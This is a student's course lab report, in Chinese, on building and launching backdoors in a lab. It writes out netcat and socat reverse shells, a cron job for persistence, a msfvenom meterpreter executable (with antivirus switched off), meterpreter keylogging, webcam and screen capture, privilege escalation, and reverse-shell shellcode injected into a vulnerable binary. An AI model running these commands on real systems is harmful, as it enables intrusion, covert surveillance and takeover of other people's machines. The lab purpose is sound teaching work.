20175122邱昕 网络对抗技术exp2后门的原理与实践
前言
这期实验本来早就做完了,一直存着截图懒得写博客,今天有点动力写一写,也是一种复习吧
实验内容
1、使用netcat获取主机操作Shell,cron启动 (0.5分)
2、使用socat获取主机操作Shell, 任务计划启动 (0.5分)
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
常用工具学习
netcat——是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作netcat常用命令
可用netcat.exe -help查看帮助文档
-4 Use IPv4 only
-6 Use IPv6 only
-C, --crlf Use CRLF for EOL sequence
-c, --sh-exec <command> Executes the given command via /bin/sh
-e, --exec <command> Executes the given command
--lua-exec <filename> Executes the given Lua script
-g hop1[,hop2,...] Loose source routing hop points (8 max)
-G <n> Loose source routing hop pointer (4, 8, 12, ...)
-m, --max-conns <n> Maximum <n> simultaneous connections
-h, --help Display this help screen
-d, --delay <time> Wait between read/writes
-o, --output <filename> Dump session data to a file
-x, --hex-dump <filename> Dump session data as hex to a file
-i, --idle-timeout <time> Idle read/write timeout
-p, --source-port port Specify source port to use
-s, --source addr Specify source address to use (doesn't affect -l)
-l, --listen Bind and listen for incoming connections
-k, --keep-open Accept multiple connections in listen mode
-n, --nodns Do not resolve hostnames via DNS
-t, --telnet Answer Telnet negotiations
-u, --udp Use UDP instead of default TCP
--sctp Use SCTP instead of default TCP
1.使用netcat获取主机操作Shell,cron启动
1.1windows获得linux shell
ncat.exe -l -p 5122,
linux端用nc 192.168.81.1 5122 -e /bin/sh
这张图片我发现我忘记截linux端的了,2张图片都放上来吧,写博客的时候又重新做了一遍,以后还是边写博客边做吧
1.2linux获得windows shell
linux端打开监听nc -l -p 5122
windows端反弹连接linux
nc -l -p 5122
平民没有mac做不了mac相关实验
1.3netcat传输数据
ncat.exe -l 5122
5215
nc 192.168.81.130 5122
连接建立成功,双方可以相互传输数据
1.4nc传输文件
5122
nc 192.168.81.1 5122 < file1.in
5122
file5122.out
ncat.exe -l 5122 > file1.out
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319224658527-403707120.jpg)
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319224721615-603612064.jpg)
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319224733680-173205966.jpg)
1.5cron启动
windows端先监听ncat.exe -l -p 5122
linux端使用crontab -e,选择3
在跳出的界面中最后一行加上13 * * * * /bin/netcat 192.168.81.1 5122 -e /bin/sh,意思是是在每个小时的第13分钟反向连接Windows主机让其能够执行Shell功能。
esc后:wq强制保存退出
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319225132716-157624975.jpg)
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319225145305-672903090.jpg)
这里有个问题我ls不成功,whoami弹出root,最后是使用ip add的
2.使用socat获取主机操作Shell, 任务计划启动
在老师给的链接中下载socat.exe文件
win+r输入compmgmt.msc
创建任务,创建触发器,新建操作
需要注意的是新建操作,操作为启动socat.exe程序,参数填写tcp-listen:5122 exec:cmd.exe,pty,stderr
到时间自动弹出
在linux中输入socat - tcp:192.168.811:5122
成功
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
先在linux端生成后门程序 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 -f exe > 5122backdoor.exe这里使用linux ip地址,因为是linux端控制windows端
windows端输入ncat.exe -l 5122 > 5122backdoor.exe
linux端输入nc 192.168.81.1 5122 < 5122backdoor.exe
就是这里360把我后门给删了,只能关了360再传一遍
linux端使用msfconsole进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口
然后exploit开始监听,windows端运行后门程序,黑客开始了
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
用record_mid截获音频
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233141383-1122831395.jpg)
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233152116-1567026801.jpg)
用webcam_snap摄像头照相(我电脑摄像头坏的,不知道驱动程序坏的还是怎么回事)
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233238127-810656173.jpg)
用screenshot截屏
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233339656-1698167567.jpg)
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233350081-973317490.jpg)
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233359116-222974912.jpg)
用keyscan_start记录下击键的过程,用keyscan_dump读取击键的记录
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233514026-1119055157.jpg)
用getuid查看当前用户,getsystem提权
5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319233853402-758152079.jpg)
注入前的准备工作,以下步骤参考实验1和本实验的任务3
execstack -s pwn1 设置堆栈可执行
execstack -q pwn1 查询文件的堆栈是否可执行,显示X pwn1则表示可执行
echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭,如显示0则已关闭,2未关闭
访问相关网站得到shellcode,通过实验一知我的shellcode起始地址为0xffffd6f0,把地址加在这段shellcode前面,在kali中用其生成pwn1文件。
perl -e 'print "A" x 32;print"\xf0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\
x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68
\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > pwn1这段代码是的ip地址是127.0.0.1的,端口为4444,因此要设置一遍ip地址和端口号
![](https://img2020.cnblogs.com/blog/1947502/202003/1947502-20200319234757262-1897342109.jpg)
连接成功
6..基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
自己见一个游戏网站,在游戏中植入后门程序,诱导玩家下载
(2)例举你知道的后门如何启动起来(win及linux)的方式?
windows:自启动,伪装成windows的服务诱使windows自己启动
linux:Crontab和注入shellcode
(3)Meterpreter有哪些给你映像深刻的功能?
直接生成后门程序,不需要自己编程,简单快捷,但实用性差,只能用于没有任何防火墙安全软件的电脑
(4)如何发现自己有系统有没有被安装后门?
监控开机自启动,网络连接,服务等,安装杀毒软件,及时更新病毒库,常扫描电脑杀毒
7.实验总结与体会
又是一次实验,老师上课说本次实验比上次实验要简单一些,自己做下来确实如此,在本次实验中了解了netcat,Meterpreter后门等知识,并熟悉了一些有关的简单命令,了解了后门的使用流程方法,总的来说是一次成功的实验,在看完老师的实验指导和同学学长学姐的博客后能够比较顺利的做出实验。当然,也有一些坎坷,小细节小错误在计算机上会被无限放大,还有待改进吧。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步